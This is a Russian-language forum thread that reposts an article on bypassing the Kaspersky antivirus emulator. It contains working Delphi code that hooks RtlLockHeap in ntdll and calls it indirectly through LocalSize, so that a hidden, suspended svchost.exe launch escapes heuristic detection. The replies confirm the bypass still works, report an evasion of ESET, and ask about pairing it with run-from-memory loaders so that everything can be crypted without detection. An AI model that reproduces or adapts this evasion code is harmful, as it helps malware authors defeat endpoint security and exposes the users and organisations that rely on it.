Уязвимость эмулятора в антивирусе Касперского
| |
Anton93 | Дата: Вторник, 08.10.2013, 19:38 | Сообщение # 1 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| На данный момент в мире создаётся всё большее количество вирусов, за количеством которых невозможно успеть. Поэтому современные технологии «облачных сетей» и эвристических анализаторов кода призваны обеспечить защиту от совершенно новых угроз до того, как аналитики добавят образцы в антивирусные базы.
Не для кого не секрет, что в каждой системе всегда найдется пара дырок, которые рано или поздно выплывут наружу. Иногда это связано с ошибками программистов, иногда — из-за развития технологий вирмейкерства. В данной статье я покажу Вам один из способов обхода эмулятора в последних версиях антивируса Касперского.
Теория
Что вообще из себя представляет эмулятор в антивирусе и зачем он нужен? Ответ очень прост — практически все вредоносное ПО подвержено шифрованию и пакингу различными крипторами и протекторами, во время проверки файла на диске эмулятор «раскручивает» тестируемый исполнительный файл на своей виртуальной машине и постепенно «добирается» до нужного кода, детект которого уже происходит либо сигнатурным, либо эвристическим методом.
Во время разработки одной из своих программ я столкнулся с проблемой, что антивирус Касперского постоянно ругался на мой ехешник, как на "HEUR:Trojan.Win32.Generic", хотя ничего вредоносного в нем я не видел. Методом исключений было выявлено, что антивирус ругается на создание процесса функцией CreateProcess(...), если в ее параметрах выставлен флаг скрытого запуска процесса. Деваться от этого было некуда, поэтому пришлось перебирать различные варианты исполнения кода, тем более мне самому это было интересно. Результат не заставил себя долго ждать — за пару часов было найдено три способа противодействия эмулятору, давайте рассмотрим, на мой взгляд, самый интересный из них, который заключается в уязвимости проверок api функций.
Эмулятор проверяет лишь вызовы win api, которые делает тестируемое приложение, но вот анализирует ли он другие api, которое вызывает проверяемое, как оказалось — нет. Было ли это сделано в целях оптимизации или же простой недосмотр разработчиков — никто и не узнает.
Для наглядности привожу маленькую схемку: слева изображено исполнение программы в реальной среде, а справа — исполнение проверок над кодом в среде эмулятора антивируса.
Практика
В пример привожу часть кода, которая детектировалась в моей программе. Как и говорилось ранее — код не делает ничего плохого, лишь запускает процесс в остановленном виде. Написан на delphi.
Код procedure ProcessBadCode(); var StartInfo : TStartupInfoA; ProcInfo : TProcessInformation; begin ZeroMemory(@StartInfo, SizeOf(TStartupInfoA)); StartInfo.cb := SizeOf(TStartupInfoA); CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); end;
begin ProcessBadCode(); end.
Всё что надо для незаметного выполнения кода под носом у эмулятора — это сделать хук на любую api и перевести выполнение на код, который должен остаться незамеченным, а затем найти другую api, которая вызывает первую и вызвать ее в своем коде. В следующем примере я взял следующие функции: "RtlLockHeap(...)" из "ntdll.dll" и "LocalSize(...)" из "kernel32.dll". Как многие уже поняли — вторая вызывает первую. После установления хука на "RtlLockHeap(...)" цепочка вызовов получается следующая: MyCode(...) -> LocalSize(...) -> RtlLockHeap(...) -> BadCode(...). Детекта антивирусом уже не будет.
Код var Initialized : Boolean; procedure ProcessBadCode(); var StartInfo : TStartupInfoA; ProcInfo : TProcessInformation; begin if not Initialized then // наш код может выполниться один раз, а вот хученая апи - нет begin Initialized := True; // посему сделаем переменную, которая будет это контролировать ZeroMemory(@StartInfo, SizeOf(TStartupInfoA)); StartInfo.cb := SizeOf(TStartupInfoA); CreateProcessA(nil, 'svchost.exe', nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); Sleep(5000); // подождем и завершим запущенный процесс TerminateProcess(ProcInfo.hProcess, 0); ExitProcess(0); // завершим текущий end; Sleep(INFINITE); // все вызовы хученой апи мы ставим на паузу end;
procedure ProcessStartCode(); procedure WriteJmp(AddressFrom, AddressTo : Integer); // записывает jmp на нужный код var Protect, Stuff : Cardinal; begin VirtualProtect(Ptr(AddressFrom), 5, PAGE_EXECUTE_READWRITE, Protect); PByte(AddressFrom)^ := $E9; PInteger(AddressFrom + 1)^ := AddressTo - AddressFrom - 5; VirtualProtect(Ptr(AddressFrom), 5, Protect, Stuff); end; var NativeFunc : procedure(); begin // найдем адрес первой функции @NativeFunc := GetProcAddress(GetModuleHandle('ntdll.dll'), 'RtlLockHeap'); // Поставим там хук переведя исполнение программы на BadCode WriteJmp(Integer(@NativeFunc), Integer(@ProcessBadCode)); // Вызовем вторую, которая вызовет первую ... LocalSize(0); end;
begin ProcessStartCode(); end.
Выводы
Золотое правило: «доверяй — но проверяй!» К сожалению, существующая политика «доверия» подписанным программам уже дала сбой: это примеры, реализованные и в вирусе Stuxnet, и в недавней эксплуатации уязвимости Adobe. Как показал мой маленький опыт — тем же проблемам подвержен и эвристический анализатор кода одного из самых популярных антивирусов. Особенно показательно то, что эвристический анализатор Касперского — один из двух, которые заметили угрозу в данному файле (за что ему честь и хвала), при чём детект китайского Jiangmin — явное ложное срабатывание. Жаль только, что всё решилось так просто…
Всё это в очередной раз подтверждает непреложную истину, что ни один программный продукт не обеспечит должную защиту без понимания азов безопастности со стороны оператора и его активных действий про пресечению угроз.
Источник http://habrahabr.ru/post/104206/
От себя хочу добавить что способ до сих пор рабочий, проверял.
ICQ: 41896
|
|
| |
xXxSh@dowxXx | Дата: Вторник, 08.10.2013, 23:04 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Интересно, и вправду работает, а ведь пост на "хабре" датирован аж 2010 годом
в итоге удалось создать процесс, но вот на его завершение, а именно на: Код TerminateProcess(ProcInfo.hProcess, 0); каспер все же ругнулся, но это вполне в его стиле.
и еще удивило почему у тебя Код StartInfo : TStartupInfoA; у меня код собрался только так Код StartInfo : TStartupInfo; // ну и вот тут соответственно... ZeroMemory(@StartInfo, SizeOf(TStartupInfo)); StartInfo.cb := SizeOf(TStartupInfo);
А так то зачетная статья, молодец что добавил, я как то этот пост на хабре проглядел видимо
Сообщение отредактировал xXxSh@dowxXx - Вторник, 08.10.2013, 23:07 |
|
| |
Anton93 | Дата: Вторник, 08.10.2013, 23:10 | Сообщение # 3 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| xXxSh@dowxXx, возможно потому что использую очень древнюю версию компилятора - 2005 года, собранного на базе delphi 6. он урезаный дико, мноих компонентов нет, зато exe на выходе не жирный получается. да и привык я к нему. + на днях я его перенастраивал, подсказали настройки какие то. точно не помню, ибо с трубы ща. так вот. после них, вот такие проекты, которые не компилились но были написаны без ошибок, стали компилироваться
ICQ: 41896
|
|
| |
xXxSh@dowxXx | Дата: Вторник, 08.10.2013, 23:15 | Сообщение # 4 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Ясно. А у меня как то проект был заброшен в свое время как раз таки из за сумасшедшей эвристики Каспера, вот теперь сижу и думаю, вернуться ли к нему или нет, попробовать что ли прогнать более замудренный код через эту багу, сработает ли
Сообщение отредактировал xXxSh@dowxXx - Вторник, 08.10.2013, 23:16 |
|
| |
Anton93 | Дата: Вторник, 08.10.2013, 23:23 | Сообщение # 5 |
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
| xXxSh@dowxXx, продолжай конечно)) тем более тут метод не сложный с перехватом, главное принцип понять с этим fakeAPI и все. можно из примера кстати юзать, вызываемая функция нужна только для цепочки.
ICQ: 41896
|
|
| |
Slash | Дата: Вторник, 18.11.2014, 00:38 | Сообщение # 6 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Вот эт интересно
Добавлено (18.11.2014, 00:38) --------------------------------------------- Хех, а вот ESET SMART SECURITY 7 палится
Сообщение отредактировал Slash - Вторник, 18.11.2014, 00:38 |
|
| |
xXxSh@dowxXx | Дата: Вторник, 18.11.2014, 16:36 | Сообщение # 7 |
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
| Цитата Slash ( ) а вот ESET SMART SECURITY 7 палится ты имеешь ввиду детектит? а что именно детектит и на каком этапе?
|
|
| |
Slash | Дата: Среда, 19.11.2014, 00:44 | Сообщение # 8 |
Постоянный
Зарегистрирован: 20.12.2012
Группа: Пользователи
Сообщений: 161
Статус: Offline
| Цитата xXxSh@dowxXx ( ) ты имеешь ввиду детектит? а что именно детектит и на каком этапе? Ругается на функцию выполнения программы из буфера в память, а именно скорее всего на CreateProcess. Но проблема решилась тупо добавив модуль Graphics в uses
|
|
| |
Android | Дата: Четверг, 27.11.2014, 10:26 | Сообщение # 9 |
Постоянный
Зарегистрирован: 13.12.2011
Группа: Пользователи
Сообщений: 100
Статус: Offline
| Ребят, до сих пор актуально это? Небезызвестные я думаю вам модули на основе PERun.pas именно такой способ используют для запуска из памяти. Если да - то можно криптовать все и всех без палева.
|
|
| |
|